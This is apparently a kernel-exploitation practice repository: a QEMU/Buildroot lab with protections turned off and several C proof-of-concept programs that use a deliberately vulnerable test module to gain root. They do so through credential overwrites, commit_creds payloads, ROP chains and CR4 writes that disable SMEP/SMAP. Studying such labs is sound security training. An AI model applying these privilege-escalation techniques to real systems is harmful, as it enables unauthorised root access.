├── defconfig ├── rootfs └── etc │ ├── shadow │ └── passwd ├── .gitignore ├── common ├── include │ └── exp_commons.h └── commons.c ├── run_qemu.sh ├── exploit3 └── exploit3.c ├── exploit1 └── exploit1.c ├── exploit0 └── exploit0.c ├── exploit5 └── exploit5.c ├── Makefile ├── exploit2 └── exploit2.c ├── exploit4 └── exploit4.c ├── exploit6 └── exploit6.c └── LICENSE /defconfig: -------------------------------------------------------------------------------- 1 | BR2_x86_64=y 2 | BR2_ENABLE_DEBUG=y 3 | BR2_STRIP_none=y 4 | BR2_KERNEL_HEADERS_4_10=y 5 | BR2_ROOTFS_OVERLAY="../rootfs" 6 | BR2_TARGET_ROOTFS_CPIO=y 7 | BR2_TARGET_ROOTFS_CPIO_GZIP=y 8 | -------------------------------------------------------------------------------- /rootfs/etc/shadow: -------------------------------------------------------------------------------- 1 | root::10933:0:99999:7::: 2 | daemon:*:10933:0:99999:7::: 3 | bin:*:10933:0:99999:7::: 4 | sys:*:10933:0:99999:7::: 5 | sync:*:10933:0:99999:7::: 6 | mail:*:10933:0:99999:7::: 7 | www-data:*:10933:0:99999:7::: 8 | operator:*:10933:0:99999:7::: 9 | nobody:*:10933:0:99999:7::: 10 | user:$1$7HzT.TI.$KH.hP78BXci/eNxfkaVNl1:17347:0:99999:7::: 11 | -------------------------------------------------------------------------------- /rootfs/etc/passwd: -------------------------------------------------------------------------------- 1 | root:x:0:0:root:/root:/bin/sh 2 | daemon:x:1:1:daemon:/usr/sbin:/bin/false 3 | bin:x:2:2:bin:/bin:/bin/false 4 | sys:x:3:3:sys:/dev:/bin/false 5 | sync:x:4:100:sync:/bin:/bin/sync 6 | mail:x:8:8:mail:/var/spool/mail:/bin/false 7 | www-data:x:33:33:www-data:/var/www:/bin/false 8 | operator:x:37:37:Operator:/var:/bin/false 9 | nobody:x:65534:65534:nobody:/home:/bin/false 10 | user:x:1000:1000:Linux User,,,:/home/user:/bin/sh 11 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | *.gdb_history 45 | 46 | # Kernel Module Compile Results 47 | *.mod* 48 | *.cmd 49 | .tmp_versions/ 50 | modules.order 51 | Module.symvers 52 | Mkfile.old 53 | dkms.conf 54 | 55 | #folders 56 | rootfs/home/user/* 57 | rootfs/root/* 58 | images/* 59 | -------------------------------------------------------------------------------- /common/include/exp_commons.h: -------------------------------------------------------------------------------- 1 | #ifndef EXPLOIT_COMMONS_HDR 2 | #define EXPLOIT_COMMONS_HDR 3 | 4 | #include 5 | /** 6 | * container_of - cast a member of a structure out to the containing structure 7 | * @ptr: the pointer to the member. 8 | * @type: the type of the container struct this is embedded in. 9 | * @member: the name of the member within the struct. 10 | * 11 | */ 12 | #define container_of(ptr, type, member) ({ \ 13 | const typeof( ((type *)0)->member ) *__mptr = (ptr); \ 14 | (type *)( (char *)__mptr - offsetof(type,member) );}) 15 | 16 | extern int vmem; 17 | extern int pmem; 18 | extern int cmd; 19 | 20 | extern void write_dev(int fd, const char* data, size_t length, unsigned long long address); 21 | extern void read_dev(int fd, char* data, size_t length, unsigned long long address); 22 | unsigned char* assemble(char* code, size_t *length); 23 | extern void init(); 24 | extern void fini(); 25 | #endif 26 | -------------------------------------------------------------------------------- /run_qemu.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "$KERNEL_DIR"];then 4 | KERNEL_DIR=$HOME/dev/pers/kernels/ubuntu-zesty 5 | fi 6 | 7 | if [ -z "$KACCESS_DIR"];then 8 | KACCESS_DIR=$HOME/dev/pers/kaccess 9 | fi 10 | 11 | #TERMINAL="x-terminal-emulator -e" 12 | TERMINAL="tmux split -h" 13 | GDB_FLAGS="-s" 14 | QEMU_FLAGS="" 15 | ARCH=x86_64 16 | GDB=1 17 | KASLR="nokaslr" 18 | SMAP="nosmap" 19 | SMEP="nosmep" 20 | 21 | function do_help { 22 | exit 1 23 | } 24 | 25 | 26 | while [[ $# -gt 0 ]] 27 | do 28 | key="$1" 29 | case $key in 30 | -ng | --no-gdb) 31 | GDB=0 32 | ;; 33 | -s | --stop) 34 | GDB_FLAGS="-s -S" 35 | ;; 36 | -q | --qemu-cmd) 37 | QEMU_FLAGS="$2" 38 | shift 39 | ;; 40 | -ka | --kaslr) 41 | KASLR="" 42 | ;; 43 | --smap) 44 | SMAP="" 45 | ;; 46 | --smep) 47 | SMEP="" 48 | ;; 49 | -h | --help) 50 | do_help 51 | ;; 52 | *) 53 | echo "Unknown option: $key" 54 | do_help 55 | ;; 56 | esac 57 | shift 58 | done 59 | 60 | if [ "$GDB" -ne "0" ]; then 61 | CURR_DIR=$PWD 62 | cd $KERNEL_DIR 63 | GDB_CMD="gdb -ex \"add-auto-load-safe-path .\" -ex \"file ./vmlinux\" -ex \"set arch i386:x86-64:intel\" -ex \"target remote localhost:1234\" -ex \"lx-symbols $KACCESS_DIR\" -ex \"c\"" 64 | eval $TERMINAL $GDB_CMD 65 | cd $CURR_DIR 66 | fi 67 | 68 | qemu-system-$ARCH\ 69 | -kernel $KERNEL_DIR/arch/$ARCH/boot/bzImage\ 70 | -initrd ./images/rootfs.cpio.gz\ 71 | -m 512\ 72 | -nographic\ 73 | -serial mon:stdio\ 74 | -append "console=ttyS0 $KASLR $SMAP $SMEP"\ 75 | -cpu "Broadwell"\ 76 | $GDB_FLAGS $QEMU_FLAGS 77 | -------------------------------------------------------------------------------- /exploit3/exploit3.c: -------------------------------------------------------------------------------- 1 | /* POC to exploit arbitrary read and 2 | * a kernel fptr overwrite, with call to user code 3 | * to gain local priv esc. 4 | * This kind of exploit is defeated by smep. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | #include 17 | #include 18 | 19 | #define KERNEL_CREDS 0xab7a0 20 | #define COMMIT_CREDS 0xab3f0 21 | 22 | unsigned long KERNEL_BASE; 23 | 24 | // copied from https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c 25 | typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 26 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 27 | 28 | void get_root_payload(void) { 29 | ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))( 30 | ((_prepare_kernel_cred)(KERNEL_BASE + KERNEL_CREDS))(0) 31 | ); 32 | } 33 | 34 | void spawn_shell(void){ 35 | system("/bin/sh"); 36 | 37 | fini(); 38 | exit(0); 39 | } 40 | 41 | int main(){ 42 | struct kacmd_info_params kip; 43 | struct kacmd_info_resp kir; 44 | struct kacmd_call_params kcp; 45 | 46 | init(); 47 | 48 | kip.cmd = KACMD_INFO; 49 | write_dev(cmd, (char*)&kip, sizeof(kip), 0); 50 | read_dev(cmd, (char*)&kir, sizeof(kir), 0); 51 | printf("[I] Vpg: %p Ppg: %p Epg: %p\n", kir.pg_vaddress, kir.pg_paddress, kir.exec_paddress); 52 | printf("[I] code: %p data: %p bss: %p\n", kir.kernel_code, kir.kernel_data, kir.kernel_bss); 53 | 54 | KERNEL_BASE = kir.kernel_code; 55 | kcp.cmd = KACMD_CALL_SIMPLE; 56 | kcp.address = &get_root_payload; 57 | 58 | write_dev(cmd, (char*)&kcp, sizeof(kcp), 0); 59 | 60 | spawn_shell(); 61 | } 62 | -------------------------------------------------------------------------------- /exploit1/exploit1.c: -------------------------------------------------------------------------------- 1 | /* POC to exploit arbitrary read and 2 | * arbitrary shell code to gain local priv esc. 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #define KERNEL_CREDS 0xab7a0 16 | #define COMMIT_CREDS 0xab3f0 17 | 18 | int main(){ 19 | struct kacmd_info_params kip; 20 | struct kacmd_info_resp kir; 21 | struct kacmd_call_params kcp; 22 | unsigned char* shellcode; 23 | unsigned long prepare_creds; 24 | unsigned long commit_creds; 25 | size_t length; 26 | char code[1024]; 27 | int pid = getpid(); 28 | int kpid; 29 | kip.cmd = KACMD_INFO; 30 | 31 | init(); 32 | 33 | write_dev(cmd, (char*)&kip, sizeof(kip), 0); 34 | read_dev(cmd, (char*)&kir, sizeof(kir), 0); 35 | printf("[I] Vpg: %p Ppg: %p Epg: %p\n", kir.pg_vaddress, kir.pg_paddress, kir.exec_paddress); 36 | printf("[I] code: %p data: %p bss: %p\n", kir.kernel_code, kir.kernel_data, kir.kernel_bss); 37 | prepare_creds = (unsigned long)kir.kernel_code + KERNEL_CREDS; 38 | commit_creds = (unsigned long)kir.kernel_code + COMMIT_CREDS; 39 | snprintf(code, 40 | sizeof(code), 41 | "push rbx; xor rdi, rdi; mov rbx, 0x%lx; call rbx; mov rdi, rax; mov rbx, 0x%lx; call rbx; pop rbx; ret", 42 | prepare_creds, 43 | commit_creds); 44 | printf("[I] Compiling:\n\t%s\n",code); 45 | shellcode = assemble(code, &length); 46 | write_dev(vmem, shellcode, length, (unsigned long)kir.exec_paddress); 47 | 48 | kcp.cmd = KACMD_CALL_SIMPLE; 49 | kcp.address = kir.exec_paddress; 50 | write_dev(cmd, (char*)&kcp, sizeof(kcp), 0); 51 | 52 | system("/bin/sh"); 53 | 54 | fini(); 55 | } 56 | -------------------------------------------------------------------------------- /exploit0/exploit0.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | #define TASK_PID 2184 12 | #define TASK_NEXT 1928 13 | #define TASK_CRED 2600 14 | #define INIT_OFFSET 66816 15 | 16 | char readbuff[TASK_CRED+40]; 17 | 18 | int main(){ 19 | struct kacmd_info_params kip; 20 | struct kacmd_info_resp kir; 21 | unsigned long task_addr; 22 | unsigned long next_task; 23 | unsigned long cred_ptr; 24 | int pid = getpid(); 25 | int kpid; 26 | kip.cmd = KACMD_INFO; 27 | 28 | init(); 29 | 30 | write_dev(cmd, (char*)&kip, sizeof(kip), 0); 31 | read_dev(cmd, (char*)&kir, sizeof(kir), 0); 32 | printf("[I] Vpg: %p Ppg: %p Epg: %p\n", kir.pg_vaddress, kir.pg_paddress, kir.exec_paddress); 33 | printf("[I] code: %p data: %p bss: %p\n", kir.kernel_code, kir.kernel_data, kir.kernel_bss); 34 | task_addr = (unsigned long) kir.kernel_data + INIT_OFFSET; 35 | printf("[I] Init struct at %lx\n", task_addr); 36 | 37 | read_dev(vmem, readbuff, sizeof(readbuff), task_addr); 38 | kpid = *(int*)(readbuff+TASK_PID); 39 | next_task = *(unsigned long*)(readbuff + TASK_NEXT); 40 | printf("[I] task_struct of proc %d next task at: %lx\n", kpid, next_task); 41 | printf("[I] stack: %lx\n", *(unsigned long*)(readbuff + 16)); 42 | printf("[I] credentials: %lx\n", *(unsigned long*)(readbuff + TASK_CRED)); 43 | while (kpid != pid) 44 | { 45 | if (next_task == 0) 46 | { 47 | fprintf(stderr, "[E] something went wrong!\n"); 48 | exit(1); 49 | } 50 | read_dev(vmem, readbuff, (TASK_CRED-TASK_NEXT)+sizeof(void*), next_task); 51 | kpid = *(int*)(readbuff+TASK_PID-TASK_NEXT); 52 | task_addr = next_task; 53 | next_task = *(unsigned long*)readbuff; 54 | //printf("[I] task_struct of proc %d next task at: %lx\n", kpid, next_task); 55 | } 56 | cred_ptr = *(unsigned long*)(readbuff+TASK_CRED-TASK_NEXT); 57 | 58 | 59 | printf("[I] found our credentials at: %lx proc: %d, address: %lx\n", cred_ptr, kpid, task_addr - TASK_NEXT); 60 | memset(readbuff, 0, 32); 61 | write_dev(vmem, readbuff, 32, cred_ptr+4); 62 | 63 | system("/bin/sh"); 64 | 65 | fini(); 66 | 67 | } 68 | -------------------------------------------------------------------------------- /common/commons.c: -------------------------------------------------------------------------------- 1 | #define _LARGEFILE64_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | //#include "commons.h" 12 | 13 | int open_file(const char* fname, unsigned int flag) 14 | { 15 | int fd = open(fname, flag); 16 | if (fd<0) 17 | { 18 | fprintf(stderr, "[E] Failed to open %s\n", fname); 19 | exit(1); 20 | } 21 | return fd; 22 | } 23 | 24 | void write_dev(int fd, const char* data, size_t length, unsigned long long address) 25 | { 26 | printf("[I] Writing to address: %llx size: %lu\n", address, length); 27 | lseek64(fd, address, SEEK_SET); 28 | unsigned written = 0; 29 | int ret; 30 | do 31 | { 32 | ret = write(fd, &data[written], length-written); 33 | if (ret < 0) 34 | { 35 | fprintf(stderr, "[E] Failed to write file\n"); 36 | exit(1); 37 | } 38 | written += ret; 39 | } 40 | while (written < length); 41 | } 42 | 43 | void read_dev(int fd, char* data, size_t length, unsigned long long address) 44 | { 45 | printf("[I] Reading from address: %llx size: %lu\n", address, length); 46 | if (address) 47 | { 48 | lseek64(fd, address, SEEK_SET); 49 | } 50 | unsigned written = 0; 51 | int ret; 52 | do 53 | { 54 | ret = read(fd, &data[written], length-written); 55 | if (ret < 0) 56 | { 57 | fprintf(stderr, "[E] Failed to read file\n"); 58 | exit(1); 59 | } 60 | written += ret; 61 | } 62 | while (written < length && ret != 0); 63 | } 64 | int vmem; 65 | int pmem; 66 | int cmd; 67 | ks_engine* ks = NULL; 68 | 69 | unsigned char* assemble(char* code, size_t *length) 70 | { 71 | unsigned char * encode; 72 | size_t count; 73 | if (ks_asm(ks, code, 0, &encode, length, &count) != KS_ERR_OK) 74 | { 75 | 76 | fprintf(stderr, "[E] Failed to copmpile ASM at %lu, error: %u\n", count, ks_errno(ks)); 77 | exit(1); 78 | } 79 | return encode; 80 | } 81 | 82 | void init_keystone() 83 | { 84 | ks_err err; 85 | // good place to ifdef based on build defines 86 | err = ks_open(KS_ARCH_X86, KS_MODE_64, &ks); 87 | if (err != KS_ERR_OK) 88 | { 89 | fprintf(stderr, "[E] Failed to init Keystone\n"); 90 | exit(1); 91 | } 92 | } 93 | 94 | void init(){ 95 | vmem = open_file("/dev/ka_kmem", O_RDWR|O_LARGEFILE); 96 | pmem = open_file("/dev/ka_mem", O_RDWR|O_LARGEFILE); 97 | cmd = open_file("/dev/ka_cmd", O_RDWR|O_LARGEFILE); 98 | init_keystone(); 99 | } 100 | 101 | void fini() 102 | { 103 | if(ks) 104 | { 105 | ks_close(ks); 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /exploit5/exploit5.c: -------------------------------------------------------------------------------- 1 | /* POC to exploit arbitrary read and 2 | * a kernel fptr overwrite, with call to user code 3 | * to gain local priv esc and disable SMAP/SMEP. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | 14 | #include 15 | #include 16 | 17 | #define KERNEL_CREDS 0xab7a0 18 | #define COMMIT_CREDS 0xab3f0 19 | 20 | #define INIT_CRED 0x579c0 21 | 22 | //disable smep/smap 23 | #define CR4_VALUE 0x6f0 24 | #define WRITE_CR4 0x677d0 25 | 26 | //#define CR4_MASK 0xfffffbffffffffff 27 | //#define CR4_MASK 0xffffffffffe7ffff 28 | #define CR4_MASK 0xffffffffffcfffff 29 | 30 | unsigned long KERNEL_BASE; 31 | 32 | // copied from https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c 33 | typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 34 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 35 | 36 | void get_root_payload(void) { 37 | ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))( 38 | ((_prepare_kernel_cred)(KERNEL_BASE + KERNEL_CREDS))(0) 39 | ); 40 | } 41 | 42 | void spawn_shell(void){ 43 | system("/bin/sh"); 44 | 45 | fini(); 46 | exit(0); 47 | } 48 | 49 | int main(int argc, char** argv){ 50 | struct kacmd_info_params kip; 51 | struct kacmd_info_resp kir; 52 | struct kacmd_call_params kcp; 53 | 54 | init(); 55 | 56 | kip.cmd = KACMD_INFO; 57 | write_dev(cmd, (char*)&kip, sizeof(kip), 0); 58 | read_dev(cmd, (char*)&kir, sizeof(kir), 0); 59 | printf("[I] Vpg: %p Ppg: %p Epg: %p\n", kir.pg_vaddress, kir.pg_paddress, kir.exec_paddress); 60 | printf("[I] code: %p data: %p bss: %p\n", kir.kernel_code, kir.kernel_data, kir.kernel_bss); 61 | printf("[I] cr4: %lx masked: %lx\n", kir.cr4, kir.cr4 & CR4_MASK); 62 | 63 | if (argc > 1) 64 | { 65 | printf("[I] Disable SMAP/SMEP, requires PC and RDI control\n"); 66 | kcp.cmd = KACMD_CALL_COMPLEX; 67 | kcp.address = (void (*)())(kir.kernel_code + WRITE_CR4); 68 | kcp.rdi = kir.cr4 & CR4_MASK; 69 | 70 | write_dev(cmd, (char*)&kcp, sizeof(kcp), 0); 71 | printf("[I] Call prepare creds/commit creds from userspace, requires second PC control\n"); 72 | 73 | KERNEL_BASE = kir.kernel_code; 74 | kcp.cmd = KACMD_CALL_SIMPLE; 75 | kcp.address = &get_root_payload; 76 | 77 | write_dev(cmd, (char*)&kcp, sizeof(kcp), 0); 78 | } 79 | else 80 | { 81 | printf("[I] Call commit creds with existing creds, requires text and data leaks and PC and RDI control\n"); 82 | kcp.cmd = KACMD_CALL_COMPLEX; 83 | kcp.address = (void (*)())(kir.kernel_code + COMMIT_CREDS); 84 | kcp.rdi = kir.kernel_data + INIT_CRED; 85 | 86 | write_dev(cmd, (char*)&kcp, sizeof(kcp), 0); 87 | } 88 | spawn_shell(); 89 | } 90 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | #TOOLCHAIN=android-ndk-r12b/toolchains/aarch64-linux-android-4.9/prebuilt/linux-x86_64/bin/aarch64-linux-android- 2 | #ARCHI=arm64 3 | CC=gcc 4 | KACCESS_DIR=$(PWD)/../kaccess 5 | KERNEL_DIR=$(PWD)/../kernels/ubuntu-zesty 6 | ROOTFS_DIR=$(PWD)/rootfs 7 | CORES=8 8 | LOCALVERSION=-custom 9 | export 10 | 11 | INC=-I$(KACCESS_DIR)/include -I./common/include 12 | CFLAGS=-std=gnu11 -fPIC -static $(INC) 13 | LDFLAGS=-lkeystone -lstdc++ -lm 14 | _DEPS=kacmd.h 15 | DEPS=$(KACCESS_DIR)/include/kacmd.h ./common/include/exp_commons.h 16 | 17 | all: kaccess exploit0 exploit1 exploit2 exploit3 exploit4 exploit5 exploit6 18 | 19 | kernel: 20 | cd $(KERNEL_DIR) && $(MAKE) bzImage 21 | 22 | kaccess: 23 | cd $(KACCESS_DIR) && $(MAKE) install 24 | 25 | exploit0: common/commons.c exploit0/exploit0.c $(DEPS) 26 | $(CC) -o $@/$@.elf $(CFLAGS) exploit0/exploit0.c common/commons.c $(LDFLAGS) 27 | cp exploit0/exploit0.elf rootfs/root/ 28 | cp exploit0/exploit0.elf rootfs/home/user 29 | 30 | exploit1: common/commons.c exploit1/exploit1.c $(DEPS) 31 | $(CC) -o $@/$@.elf $(CFLAGS) exploit1/exploit1.c common/commons.c $(LDFLAGS) 32 | cp exploit1/exploit1.elf rootfs/root/ 33 | cp exploit1/exploit1.elf rootfs/home/user 34 | 35 | exploit2: common/commons.c exploit2/exploit2.c $(DEPS) 36 | $(CC) -o $@/$@.elf $(CFLAGS) exploit2/exploit2.c common/commons.c $(LDFLAGS) 37 | cp exploit2/exploit2.elf rootfs/root/ 38 | cp exploit2/exploit2.elf rootfs/home/user 39 | 40 | exploit3: common/commons.c exploit3/exploit3.c $(DEPS) 41 | $(CC) -o $@/$@.elf $(CFLAGS) exploit3/exploit3.c common/commons.c $(LDFLAGS) 42 | cp exploit3/exploit3.elf rootfs/root/ 43 | cp exploit3/exploit3.elf rootfs/home/user 44 | 45 | exploit4: common/commons.c exploit4/exploit4.c $(DEPS) 46 | $(CC) -o $@/$@.elf $(CFLAGS) exploit4/exploit4.c common/commons.c $(LDFLAGS) 47 | cp exploit4/exploit4.elf rootfs/root/ 48 | cp exploit4/exploit4.elf rootfs/home/user 49 | 50 | exploit5: common/commons.c exploit5/exploit5.c $(DEPS) 51 | $(CC) -o $@/$@.elf $(CFLAGS) exploit5/exploit5.c common/commons.c $(LDFLAGS) 52 | cp exploit5/exploit5.elf rootfs/root/ 53 | cp exploit5/exploit5.elf rootfs/home/user 54 | 55 | exploit6: common/commons.c exploit6/exploit6.c $(DEPS) 56 | $(CC) -o $@/$@.elf $(CFLAGS) exploit6/exploit6.c common/commons.c $(LDFLAGS) 57 | cp exploit6/exploit6.elf rootfs/root/ 58 | cp exploit6/exploit6.elf rootfs/home/user 59 | 60 | #test: test_kmem.c $(DEPS) 61 | # $(CC) -o $@.elf $(CFLAGS) $< 62 | 63 | .PHONY: clean rootfs kernel kaccess exploit0 exploit1 exploit2 exploit3 exploit4 exploit5 exploit6 64 | clean: 65 | rm -rf ./rootfs/root/* 66 | rm -rf ./images/* 67 | rm -r ./exploit*/*.elf 68 | 69 | rootfs: 70 | cd ./buildroot && $(MAKE) 71 | cp ./buildroot/output/images/rootfs.cpio.gz ./images 72 | 73 | install: all 74 | #cp $(KERNEL_DIR)/arch/x86_64/boot/bzImage ./images 75 | #cp $(KERNEL_DIR)/vmlinux ./images 76 | #cp $(KERNEL_DIR)/vmlinux-gdb.py ./images 77 | cd ./buildroot && $(MAKE) 78 | cp ./buildroot/output/images/rootfs.cpio.gz ./images 79 | -------------------------------------------------------------------------------- /exploit2/exploit2.c: -------------------------------------------------------------------------------- 1 | /* POC to exploit arbitrary read and 2 | * a kernel stack BOF with NX enabled 3 | * to gain local priv esc. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | 15 | #include 16 | #include 17 | 18 | #define KERNEL_CREDS 0xab7a0 19 | #define COMMIT_CREDS 0xab3f0 20 | 21 | #define POP_RDI 0x76ddd 22 | #define PUSH_RAX 0x36f65 23 | //#define PUSH_RAX_RSI 0x100c8ec 24 | #define PUSH_RAX_RDX 0x59ee1c 25 | #define SWAPGS_RBP 0x67894 26 | #define IRETQ 0x34b4b 27 | #define POP_RSI 0x3a744 28 | #define POP_RDX 0xda192 29 | 30 | #pragma pack(push, 1) 31 | //#define GET_OFFSET 32 | struct rop_chain { 33 | char buff[80]; 34 | unsigned long pop_rdi0; 35 | unsigned long rdi; 36 | unsigned long prep_creds; 37 | unsigned long pop_rdx; 38 | unsigned long rdx; // going to point to pop rdi 39 | unsigned long push_rax_rdx; 40 | //unsigned long pop_rdi1; 41 | unsigned long commit_creds; 42 | unsigned long swapgs; 43 | unsigned long junk; 44 | unsigned long iret; 45 | unsigned long shell; 46 | unsigned long cs; 47 | unsigned long rflags; 48 | unsigned long rsp; 49 | unsigned long ss; 50 | }; 51 | #pragma pack(pop) 52 | 53 | void spawn_shell(void){ 54 | system("/bin/sh"); 55 | 56 | fini(); 57 | exit(0); 58 | } 59 | 60 | // stolen from https://www.slideshare.net/VitalyNikolenko/linux-smep-bypass-techniques 61 | unsigned long user_cs; 62 | unsigned long user_ss; 63 | unsigned long user_rflags; 64 | static void save_state() { 65 | asm( 66 | "movq %%cs, %0\n" 67 | "movq %%ss, %1\n" 68 | "pushfq\n" 69 | "popq %2\n" 70 | : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); 71 | } 72 | 73 | int main(int argc, char **argv){ 74 | struct kacmd_info_params kip; 75 | struct kacmd_info_resp kir; 76 | unsigned char* shellcode; 77 | struct rop_chain *ropc; 78 | unsigned long base; 79 | unsigned int size = sizeof(struct kacmd_sbof_params)+sizeof(struct rop_chain); 80 | struct kacmd_sbof_params* ksp = (struct kacmd_sbof_params *)alloca(size); 81 | 82 | init(); 83 | 84 | kip.cmd = KACMD_INFO; 85 | write_dev(cmd, (char*)&kip, sizeof(kip), 0); 86 | read_dev(cmd, (char*)&kir, sizeof(kir), 0); 87 | printf("[I] Vpg: %p Ppg: %p Epg: %p\n", kir.pg_vaddress, kir.pg_paddress, kir.exec_paddress); 88 | printf("[I] code: %p data: %p bss: %p\n", kir.kernel_code, kir.kernel_data, kir.kernel_bss); 89 | 90 | ropc = &ksp->data; 91 | ksp->cmd = KACMD_STACK_BOF; 92 | ksp->size = size; 93 | if (argc > 1) 94 | { 95 | printf("[I] Finding offset in the buffer\n"); 96 | char c = 'a' - 1; 97 | char *buff = (char*)ropc; 98 | for (int i=0; i < size; i++) 99 | { 100 | if (!((c+i)%8)) 101 | { 102 | c++; 103 | } 104 | buff[i] = c + (i % 8); 105 | } 106 | } 107 | else 108 | { 109 | printf("[I] Creating ROP chain\n"); 110 | memset(ropc->buff, 'A', sizeof(ropc->buff)); 111 | save_state(); 112 | base = (unsigned long)kir.kernel_code; 113 | ropc->pop_rdi0 = base + POP_RDI; 114 | ropc->rdi = 0; 115 | ropc->prep_creds = base + KERNEL_CREDS; 116 | ropc->pop_rdx = base + POP_RDX; 117 | ropc->rdx = base + POP_RDI; 118 | ropc->push_rax_rdx = base + PUSH_RAX_RDX; 119 | //ropc->pop_rdi1 = base + POP_RDI; 120 | ropc->commit_creds = base + COMMIT_CREDS; 121 | ropc->swapgs = base + SWAPGS_RBP; 122 | ropc->junk = 0x4242424242424242; 123 | ropc->iret = base + IRETQ; 124 | ropc->shell = (unsigned long)&spawn_shell; 125 | ropc->cs = user_cs; 126 | ropc->rflags = user_rflags; 127 | ropc->rsp = (unsigned long)&base; 128 | ropc->ss = user_ss; 129 | 130 | } 131 | write_dev(cmd, (char*)ksp, size, 0); 132 | 133 | 134 | fini(); 135 | } 136 | -------------------------------------------------------------------------------- /exploit4/exploit4.c: -------------------------------------------------------------------------------- 1 | /* POC to exploit arbitrary read and 2 | * a kernel fptr overwrite, ROP to user code 3 | * to disable SMEP 4 | * to gain local priv esc. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | 17 | #include 18 | #include 19 | 20 | #define KERNEL_CREDS 0xab7a0 21 | #define COMMIT_CREDS 0xab3f0 22 | 23 | // stack pivot 24 | #define MOV_ESP 0x76167b 25 | #define ESP_VAL 0x5d000004 26 | //#define MOV_ESP 0xc5f346 27 | //#define ESP_VAL 0x73620a6b 28 | 29 | #define POP_RDI 0x76ddd 30 | #define PUSH_RAX 0x36f65 31 | //#define PUSH_RAX_RSI 0x100c8ec 32 | #define PUSH_RAX_RDX 0x59ee1c 33 | #define SWAPGS_RBP 0x67894 34 | #define IRETQ 0x34b4b 35 | #define POP_RSI 0x3a744 36 | #define POP_RDX 0xda192 37 | 38 | //disable smep 39 | #define CR4_VALUE 0x6f0 40 | #define WRITE_CR4 0x677d0 41 | // Disable SMAP and SMEP 42 | //#define CR4_MASK 0xffffffffffe7ffff 43 | #define CR4_MASK 0xffffffffffcfffff 44 | 45 | #pragma pack(push, 1) 46 | struct rop_chain_smep { 47 | unsigned long pop_rdi; 48 | unsigned long cr4; 49 | unsigned long write_cr4; 50 | void (*elevate_priv)(void); 51 | 52 | unsigned long swapgs; 53 | unsigned long junk; 54 | unsigned long iret; 55 | unsigned long shell; 56 | unsigned long cs; 57 | unsigned long rflags; 58 | unsigned long rsp; 59 | unsigned long ss; 60 | }; 61 | // no smap disable 62 | struct rop_chain { 63 | unsigned long pop_rdi0; 64 | unsigned long rdi; 65 | unsigned long prep_creds; 66 | unsigned long pop_rdx; 67 | unsigned long rdx; // going to point to pop rdi 68 | unsigned long push_rax_rdx; 69 | //unsigned long pop_rdi1; 70 | unsigned long commit_creds; 71 | unsigned long swapgs; 72 | unsigned long junk; 73 | unsigned long iret; 74 | unsigned long shell; 75 | unsigned long cs; 76 | unsigned long rflags; 77 | unsigned long rsp; 78 | unsigned long ss; 79 | }; 80 | #pragma pack(pop) 81 | 82 | void spawn_shell(void){ 83 | printf("[I] opening shell\n"); 84 | system("/bin/sh"); 85 | 86 | fini(); 87 | exit(0); 88 | } 89 | 90 | // stolen from https://www.slideshare.net/VitalyNikolenko/linux-smep-bypass-techniques 91 | unsigned long user_cs; 92 | unsigned long user_ss; 93 | unsigned long user_rflags; 94 | static void save_state() { 95 | asm( 96 | "movq %%cs, %0\n" 97 | "movq %%ss, %1\n" 98 | "pushfq\n" 99 | "popq %2\n" 100 | : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); 101 | } 102 | 103 | unsigned long KERNEL_BASE; 104 | 105 | // copied from https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c 106 | typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 107 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 108 | 109 | void get_root_payload(void) { 110 | ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))( 111 | ((_prepare_kernel_cred)(KERNEL_BASE + KERNEL_CREDS))(0) 112 | ); 113 | } 114 | 115 | int main(int argc, char **argv){ 116 | struct kacmd_info_params kip; 117 | struct kacmd_info_resp kir; 118 | struct kacmd_call_params kcp; 119 | struct rop_chain *ropc; 120 | struct rop_chain_smep *ropc2; 121 